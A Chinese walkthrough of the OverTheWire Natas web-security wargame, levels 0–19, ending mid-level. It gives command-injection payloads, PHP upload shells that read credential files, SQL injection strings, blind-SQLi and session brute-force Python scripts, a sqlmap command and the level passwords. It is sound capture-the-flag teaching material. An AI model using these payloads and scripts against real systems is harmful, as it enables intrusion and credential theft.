natas通关记录

OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1读取。

网站:

http://overthewire.org/wargames/nata

Level 0 -1(敏感信息泄露)

Username: natas0 Password: natas0
URL: http://natas0.natas.labs.overthewire.org

首先登录natas0,得到一句提示:

You can find the password for the next level on this page.

通过查看页面源代码,发现注释掉的代码,即为natas1的密码
gtVrDuiDfck831PqWsLEZy5gyDz1clto
natas通关记录

Level 1 -2(源码暴露敏感信息)

Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas1.natas.labs.overthewire.org
登录natas1,得到一句提示:

You can find the password for the next level on this page, but
rightclicking has been blocked!

提示说,可以在这一页找到密码,但是禁用了右键功能,那我们按F12就好了,打开浏览器的开发者工具,切换到Elements选项卡,查看页面的源代码,发现了密码。

natas通关记录

Level 2 -3(水平越权)

Username: natas2
Password:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org
登录natas2得到一句提示:

There is nothing on this page
查看页面源代码中没有发现进入下一关的密码,但是发现了一个 img标签,引用了一张图片

natas通关记录

访问这个链接: http://natas2.natas.labs.overthewire.org/files/pixel.png,没有什么发现,试试访问它的上一级路径: http://natas2.natas.labs.overthewire.org/files/,发现是一个允许列目录的路径。

index of /files

[ICO]    Name    Last modified   Size    Description

[PARENTDIR]    Parent Directory        -    

[IMG]    pixel.png   2016-12-15 16:07    303  

[TXT]    users.txt   2016-12-20 05:15    145  

Apache/2.4.10 (Debian) Server at natas2.natas.labs.overthewire.org Port 80

访问users.txt,发现密码

#username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Level 3 -4(爬虫协议robots.txt)

Username: natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org

登录natas3,同样提示 Thereisnothing onthispage

查看页面源代码,发现一句提示:

<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>

说Google不会找到它,我们知道Google是搜索引擎,如果要让搜索引擎不爬取相关页面,只需要在网站下放一个 robots.txt文件即可,搜索引擎会遵守里面的规则,不爬取禁止的页面。

所以看看 robots.txt文件,访问 http://natas3.natas.labs.overthewire.org/robots.txt,可以看到如下内容:

User-agent: *
Disallow: /s3cr3t/

访问 http://natas3.natas.labs.overthewire.org/s3cr3t/发现一个 users.txt文件,得到natas4的密码。
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Level 4 -5(修改referer值)

Username: natas4
Password:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org

登录natas4,提示
Access disallowed.You are visiting from"http://natas4.natas.labs.overthewire.org/“whileauthorized users should come only from"http://natas5.natas.labs.overthewire.org/”,意思是你当前访问的页面需要从 http://natas5.natas.labs.overthewire.org/页面来,才能通过认证。

这里涉及一个概念: HTTP Referer,它是 http header的一部分,当浏览器向web服务器发送请求的时候,一般会带上 Referer,告诉服务器我是从哪个页面链接过来的。

使用fiddler抓包,就能发现浏览器请求 http://natas4.natas.labs.overthewire.org页面的请求头:

Accept: ..........
.................
Referer: http://natas4.natas.labs.overthewire.org/

其中 Referer就是告诉浏览器当前页面是从哪个页面链接过来的,所以我们只需要把这个值改成 http://natas5.natas.labs.overthewire.org/就行。

natas通关记录

Level 5 -6(篡改cookie)

Username: natas5
password:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org

登录后提示 Accessdisallowed.Youarenotloggedin。这就有点坑了,明明我们登录了,但是提示我们没有登录,这是为什么呢?

这里就不得不说 http协议的特点了, http协议是一种无状态的协议,每次传输完数据就会断开连接,那怎么才能验证身份呢,这时候就就靠 cookie了, cookie由服务器分配给浏览器的, cookie存储了会话状态和身份信息,之后每次 http请求,都会带上 cookie信息给服务器,服务器根据 cookie信息做出不同的响应。
使用fiddler抓包,将loggedin=0改为loggedin=1
natas通关记录
得到natas6密码
natas通关记录

Level 6 -7(php include)

Username: natas6
URL: http://natas6.natas.labs.overthewire.org

登录后,页面提示 Inputsecret:,和一个 提交按钮,还有个 Viewsourcecode按钮。

好像是需要我们提交一个参数,才会返回密码,我们可以点击 Viewsourcecode查看页面源代码,以下是关键代码:

<body>
<h1>natas6</h1>
<div id="content">

<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

代码的意思是,提交一个密钥,如果这个密钥和一个特定的密钥相同,便返回 natas7的密码,我们虽然不知道这个特殊的密钥是什么,但是代码中有一句 include"includes/secret.inc",说明是用这里面的密钥作比较,我们访问这个链接试试。返回了如下内容:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

然后我们把这个密钥提交,然后即可得到密码:

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Level 7 -8(任意文件读取)

Username: natas7
password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas7.natas.labs.overthewire.org

登录后,页面上有两个可以点击的按钮,分别是Home和About,对应的链接分别是 http://natas7.natas.labs.overthewire.org/index.php?page=home和 http://natas7.natas.labs.overthewire.org/index.php?page=about,查看页面源码发现有一句被注释掉的提示:

 <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8
> 

通过抓包请求,发现不管是访问 home还是 about都是通过 get方式提交参数访问的,而不是跳转。加上这句提示,这可能是文件包含漏洞,我们可以测试一下,尝试提交一些不存在的路径,比如访问 http://natas7.natas.labs.overthewire.org/index.php?page=\,然后会返回一些报错信息:

Warning: include(): failed to open stream: No such file or directory
in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening ‘’ for inclusion
(include_path=’.:/usr/share/php:/usr/share/pear’) in
/var/www/natas/natas7/index.php on line 21

这更加证实了,是通过传参,然后调用 include()函数。那我们把 /etc/natas_webpass/natas8作为参数传入。

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

成功得到密码: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Level 8 -9(php解密)

Username: natas8
URL: http://natas8.natas.labs.overthewire.org

登录后,发现页面内容和 Level6-7是一样的。点击 Viewsourcecode查看页面源代码,关键代码如下:

<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

同样需要提交一个正确的密钥,代码中给出了编码方法和编码后的结果,所以我们反着来一遍即可。
base64_encode() base64编码
strrev() 反转字符
bin2hex()把 ASCII 字符的字符串转换为十六进制值
hex2bin()把十六进制值转换为 ASCII 字符:

<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

将得到的结果(oubWYf2kBq)作为参数提交,即可得到natas9的密码: Accessgranted.The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 9 -10(命令注入)

Username: natas9
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org

登录后,提示 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。

同样可以点击 Viewsourcecode查看页面源代码,关键代码:

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

通过代码可以看出,通过 passthru函数调用了 grep命令来查找我们提交的内容是否在 dictionary.txt中,但我们并不知道这个文件中有什么内容。既然调用了系统命令,我们试试命令注入吧。

Tips:同 exec()函数类似, passthru()函数也是用来执行外部命令 (command)的。

我们提交

;cat/etc/natas_webpass/natas10;

,利用 ;分号截断 grep命令,加上第二命令,命令注入成功,成功返回密码: Output:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 10 -11(grep正则表达式)

Username: natas10
Password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org

登录后,和上一关一样,不过提示说 For security reasons,we now filter on certain characters(出于安全考虑,过滤了一些字符)。

先看看关键代码:

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

可以发现,过滤了 ;|&这几个符号,说明不能再通过这几个符号截断 grep了。我们可以试试利用 grep本身。 grep是支持正则表达式的,我们试试利用正则查找,提交内容为

[a-zA-Z]/etc/natas_webpass/natas11 #

或提交

. /etc/natas_webpass/natas11 #

成功返回密码:
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Level 11-12(常见编码、异或逆推、修改cookie)

Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL: http://natas11.natas.labs.overthewire.org

登录natas11,得到一句提示:

Cookies are protected with XOR encryption

还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:

页面提示cookie被异或或加密保护,查看源码,发现一个预定义参数和三个函数参数:$defaultdata=array(“showpassword”=>“no”,“bgcolor”=>"#ffffff")
猜测将showpassword设置为yes即可得到密码

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//异或加密函数
function xor_encrypt($in) {
    $key = '<censored>';  #预定义参数key
    $text = $in;            #输入参数
    $outText = '';			#输出参数
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {			#for循环,遍历输入参数
    $outText .= $text[$i] ^ $key[$i % strlen($key)];	#将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数
    }

    return $outText;
}
//加载函数:将$_COOKIE["data"]解密还原,存为$mydata数组,返回$mydata
function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

//保存函数将传入的参数,经过编码处理,存入$_COOKIE["data"]中

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

//将showpassword设置为yes即可得到密码
<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

通过fiddler抓包,可以发现$defaultdata = array( “showpassword”=>“no”, “bgcolor”=>"#ffffff")对应的data值为“ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=”。
natas通关记录

我们知道,异或的逆操作还是异或。由此我们可以逆推得到key。$key = ‘qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’

<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//异或加密函数
$data='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in,$out) {
    $key = '';  
    $text = $in;            
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {			
    $key .= $text[$i] ^ $out[$i];	
    }

    return $key;
}
echo xor_encrypt(json_encode($defaultdata),base64_decode($data));
?>

得到key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
再利用key,构造新data:

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';
 
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
echo base64_encode(xor_encrypt(json_encode($defaultdata)));
?>

得到新的data:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
替换cookie中的data,得到key。
natas通关记录
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Level 12-13(上传文件漏洞)

Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL:http://natas12.natas.labs.overthewire.org/

登录natas12,得到一句提示:

Choose a JPEG to upload (max 1KB):

提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:

<?  

function genRandomString() { 
    $length = 10; 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
    $string = "";     

    for ($p = 0; $p < $length; $p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 

    return $string; 
} 

function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 

function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 

if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?> 

通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 fiddler之类的工具修改上传的 filename后缀即可。

<?php
system('cat /etc/natas_webpass/natas13');
?>

natas通关记录
得到密码:
natas通关记录

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13-14(上传文件,绕过文件签名检测)

Username: natas13
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL:http://natas13.natas.labs.overthewire.org/

登录natas13,得到一句提示:

For security reasons, we now only accept image files!

为了安全问题,我们只接受图片文件
查看源码:

<?  

function genRandomString() { 
    $length = 10; 
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
    $string = "";     

    for ($p = 0; $p < $length; $p++) { 
        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
    } 

    return $string; 
} 

function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 

function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 

if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
     
    $err=$_FILES['uploadedfile']['error']; 
    if($err){ 
        if($err === 2){ 
            echo "The uploaded file exceeds MAX_FILE_SIZE"; 
        } else{ 
            echo "Something went wrong :/"; 
        } 
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
        echo "File is not an image"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?> 

通过查看源码发现这一次限制了文件类型,通过PHP的函数exif_imagetype()来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(每一个字节),从而检测文件类型。
那我们只需要再上传的php文件中加入任意图片格式文件头标识即可,比如GIF98a
1、上传1.php文件

GIF98a
<?php
system('cat /etc/natas_webpass/natas13');
?>

2、使用fiddler抓包,修改为php文件,上传成功并返回上传路径
natas通关记录
3、通过访问文件路径,成功返回密码
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
natas通关记录

Level 14-15(SQL注入,万能密码)

Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL:http://natas14.natas.labs.overthewire.org/
登录后,发现是一个登录框
查看源码:

<? 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas14', '<censored>'); 
    mysql_select_db('natas14', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
            echo "Successful login! The password for natas15 is <censored><br>"; 
    } else { 
            echo "Access denied!<br>"; 
    } 
    mysql_close($link); 
} else { 
?> 

很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " or 1=1 #

username: "or 1=1#
password: 未做空值校验,不输入或随便输入即可
natas通关记录

natas通关记录
方法二:使用联合查询
natas通关记录
username:1
password:1" union select * from users where " “=”
得到密码:
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
natas通关记录

Level 15-16(SQL盲注之布尔盲注)

Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL:http://natas15.natas.labs.overthewire.org/
页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

方法一:python脚本
这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。
sql查询语句如下:

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

Databse构造语句如下:

CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);

猜测一下,是否存在user=natas16,返回存在。因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。
假设我们输入的sql语句是:

select * from users where username=natas16 and password like binary "w%"

其中,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and是在满足前一个用户名的条件下匹配后一个。
如果这里的W是密码开头的字符,就会返回user exists,如果不是会返回user doesn’t exist,我们就可以知道这个字符是不是密码的第一个字符(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可),确认了第一个字符后接着确认第二个,依次类推…
python脚本:

   # coding=utf-8
import requests
 
url = "http://natas15.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
 
i=0
while i < len(chr):
    payload = "natas16\" AND password like binary\""+flag+chr[i]+"%\" #"
    req = requests.post(url,auth=auth,data={"username":payload})
    if "This user exists" in req.text:
        flag+=chr[i]
        print(flag)
        i=0
        continue
    i+=1

natas通关记录
得到key:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
方法二:使用sqlmap

sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

Level 16-17(正则匹配,php命令执行)

Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL:http://natas16.natas.labs.overthewire.org/
登录后提示:

For security reasons, we now filter even more on certain characters

出于安全,我们对一些字符甚至更多进行过滤。
关键代码如下:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

这一关相较于之前的第10题,加上了正则过滤,使得;|&`’"无法使用,且在grep的检索中添加了引号,无法添加其他选项和参数。

但在PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即:

passthru("grep -i "$(grep ^a /etc/natas_webpasswd/natas17)wrong \" dictionary.txt");

如果password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符wrong;

如果不为a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。

抓包查看数据提交方式,是get提交,格式为?needle=xxxx&submit=Search。

据此,构造脚本,得到flag。

脚本:

# coding=utf-8
import requests
 
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
 
i=0
while i < len(chr):
    payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
    req = requests.get(url=url, auth=auth, params=payload)
    if 'wrong' not in req.text:
        flag += chr[i]
        print(flag)
        i=0
        continue
    i+=1

natas通关记录
得到key:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 17-18(sql盲注之时间盲注)

Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL:http://natas17.natas.labs.overthewire.org/
查看源码

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

分析源码发现这是一道sql注入题,与15题相似只是不再提供回显,所有echo均被注释掉了。猜测到username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
脚本(二分查找,效率更快):

# coding:utf-8
import requests
url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
flag = ''

for i in range(1, 33):  # i表示password的每一位字符,因为password共32位字符,所以i取值1-32
    # ascii表中 数字 32–126 分配给了能在键盘上找到的字符
    # 下面用了二分法查找password的每一个字符
    a = 32
    c = 126
    while a < c:
        b = int((a + c)/ 2 ) # 79 O
        # MID 函数用于从文本字段中提取字符。
        # mid(password,%d,1),表示从password中从第%d位开始,取1位字符,即取第%d位字符
        # Ascii()返回字符的ascii码
        # sleep(n):将程序挂起一段时间 n为n秒
        # if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
        # if(%d<ascii(mid(password,%d,1)),sleep(2),1),表示先取出password的第i位,将其换算成ascii码,然后与变量b对比,如果大于b,则睡2秒再返回结果,否则直接返回结果
        payload = r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(10),1) and "" like "' % (b, i)
        try:
            req = requests.post(url=url, data={"username": payload}, timeout=2)
        except requests.exceptions.Timeout as e:
            a = b + 1  # 80 P
            b = int((a + c) / 2 ) # 103 g
            continue
        c = b
   flag += chr(b)
    print(flag)

得出key
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18-19(session登录,暴力破解)

Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL:http://natas18.natas.labs.overthewire.org/
查看源码:

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

审计源码发现没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1到 640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。
方法一:
穷举 maxid的值就好了。可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。具体如下:
natas通关记录
natas通关记录
natas通关记录
natas通关记录
得到password:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
方法二:python脚本爆破

# coding = utf-8
import requests
url = 'http://natas18.natas.labs.overthewire.org/index.php'
data = {"username": "admin", "password": "123"}
for i in range(640):
    headers = {
    "Authorization": "Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==",  # 这是验证口令,就不用账号密码登录了
    "cookie": "PHPSESSID={0}".format(i)
    }
    req = requests.post(url = url, data = data, headers = headers)
    if 'You are logged in as a regular user' in req.text:
        print(i)
        continue
    else:
        print(i)
        print(req.text)
        exit()

运行结果:
natas通关记录

Level 19-20(session登录,常见编码,暴力破解)

Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL:http://natas19.natas.labs.overthewire.org/
登录提示:
以上一题类似,只是PHPSESSID不连续,随便输入username和password,抓包观察PHPSESSID,发现输入的信息,按照id-username的格式,由ascii码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。
方法一:使用burpsuit爆破
1、抓包得到PHPSESSID
natas通关记录
2、将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。
natas通关记录
3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。
<1>由于16进制是原来长度的2倍,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。
natas通关记录
<2>添加变量,并添加加密规则
变量一:
natas通关记录

natas通关记录
变量2:
natas通关记录
